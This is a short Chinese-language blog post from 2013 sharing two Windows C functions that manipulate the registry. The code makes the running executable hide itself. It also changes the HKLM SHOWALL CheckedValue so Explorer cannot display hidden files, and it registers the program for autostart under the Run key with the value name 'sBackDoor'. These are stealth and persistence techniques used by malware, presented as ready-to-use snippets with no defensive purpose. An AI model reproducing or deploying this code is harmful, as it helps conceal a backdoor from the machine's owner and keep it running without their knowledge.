2013年(3)
分类: Windows平台
2013-03-20 13:08:28
// 我只想安静的做自己的学问, 一直有这个想法,将一些代码块集中起来,想以后使用时更方便,
//但是不知道怎么管理代码块库。只能说gold bless me ,慢慢积累,先写上自己的原创的两段这是,
//最近学了一下注册表的操作,以下的都是关于注册表的操作,绝对能执行
//实现程序启动后自动隐藏可执行程序(并且修改显示影藏文件也不会显示隐藏文件)
BOOL not_open_any_WithReg()
{
BOOL bRet = TRUE;//函数返回值
HKEY hKey = NULL;//获取子键的句柄
DWORD Data = 0;//项的键值
TCHAR szPath[MAX_PATH] = {0};//启动文件位置
GetModuleFileName(NULL, szPath, MAX_PATH);//获得启动文件位置
SetFileAttributes( szPath,FILE_ATTRIBUTE_HIDDEN);//实现文件自身隐藏
TCHAR szSubKey[] = _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL");//子键路径字符串
LONG lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE/*根键字符串*/, szSubKey/*子键*/, 0/*保留置为0*/, KEY_ALL_ACCESS/*获取所有权限*/, &hKey/*子键返回句柄*/);//打开注册表打开注册表指定的键
if ( lRet != ERROR_SUCCESS ) {
bRet = FALSE;
goto __Error_End;//失败则结束
}
const BYTE *a=0;
lRet = RegSetValueEx(hKey/*子键返回句柄*/, _T("CheckedValue")/*键值名字*/, 0, REG_DWORD/*设置键值类型为字符串类型*/,(LPBYTE)&Data, sizeof(Data));//设定指定键的值
if ( lRet != ERROR_SUCCESS ) {
bRet = FALSE;
}
//本函数实现文件彻底隐藏
__Error_End:
if ( hKey ) {
RegCloseKey(hKey);//关闭子键句柄
}
return bRet;
}
//实现程序的开机自启动
BOOL AutoRunWithReg()
{
BOOL bRet = TRUE;
HKEY hKey = NULL;
TCHAR szPath[MAX_PATH] = {0};
TCHAR szSubKey[] = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
GetModuleFileName(NULL, szPath, MAX_PATH);
SetFileAttributes( szPath,FILE_ATTRIBUTE_HIDDEN);//实现文件自身隐藏
LONG lRet = RegOpenKeyEx(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hKey);
if ( lRet != ERROR_SUCCESS ) {
bRet = FALSE;
goto __Error_End;
}
lRet = RegSetValueEx(hKey, _T("sBackDoor"), 0, REG_SZ, (BYTE *)szPath, sizeof(szPath));
if ( lRet != ERROR_SUCCESS ) {
bRet = FALSE;
}
__Error_End:
if ( hKey ) {
RegCloseKey(hKey);
}
return bRet;
}